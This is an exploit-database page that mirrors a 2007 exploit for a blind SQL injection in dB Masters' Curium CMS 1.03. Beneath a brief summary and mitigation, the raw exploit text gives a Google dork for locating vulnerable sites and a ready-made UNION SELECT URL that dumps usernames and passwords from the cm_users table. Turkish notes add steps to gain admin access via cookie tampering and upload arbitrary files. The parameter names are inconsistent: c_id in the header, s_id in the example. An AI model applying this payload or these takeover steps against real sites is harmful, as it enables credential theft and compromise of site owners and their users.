dB Masters' Curium CMS - exploit.company

vendor:

Curium CMS

by:

ajann

7.5

CVSS

HIGH

Remote Blind SQL Injection

CWE

Product Name: Curium CMS

Affected Version From: 1.03 and earlier

Affected Version To: 01.03

Patch Exists: NO

Related CWE:

CPE: a:db_masters:curium_cms:1.03

Metasploit:

Other Scripts:

Platforms Tested:

2007

dB Masters’ Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability

The vulnerability allows an attacker to execute arbitrary SQL queries on the target system, potentially gaining unauthorized access to sensitive information. The exploit involves manipulating the 'c_id' parameter in the 'news.php' file of dB Masters' Curium CMS version 1.03 or earlier. By injecting SQL code into the 'c_id' parameter, an attacker can bypass authentication and retrieve usernames and passwords from the 'cm_users' table.

Mitigation:

Update to a patched version of dB Masters' Curium CMS that addresses the SQL injection vulnerability. Implement input validation and parameterized queries to prevent SQL injection attacks.

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.dbmasters.net
# $$      :  Free
# Dork    :  Powered by dB Masters' Curium CMS 1
# DorkEx  :  http://www.google.com.tr/search?q=Powered+by+dB+Masters%27+Curium+CMS+1&hl=tr&start=0&sa=N

# Info    :  \*Ele gecirdiginiz hash ve kullanici adi ile once siteye register
              olarak cookie ile oynayarak admin yetkisiyle login olabilirsiniz
              Upload bolumunden rahatlikla istediginiz uzantida dosyayi upload
              edebilirsiniz.Uye olurken bazilarinda maile aktivasyon gelir.  

#Lamerlere:  \*Bir siteye rapor yollamakla o konuda cok bilgili olduumuz anla-
              mina gelmez.Ben sahsen hicbirsey bilmedigim kanisindeyken goru-
              yorumki bircok insan hakikaten birseyi basardigini saniyor.
              Bunada burada deginmek istedim.
              Birakin sizi baskasi ovsun.

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news.php?id=-1&c_id=[SQL]

Example:

//news.php?id=-1&s_id=-1%20union%20select%200,1,concat(username,char(32),password),3,4,5,6,7,8,9,0%20from%20cm_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-02-02]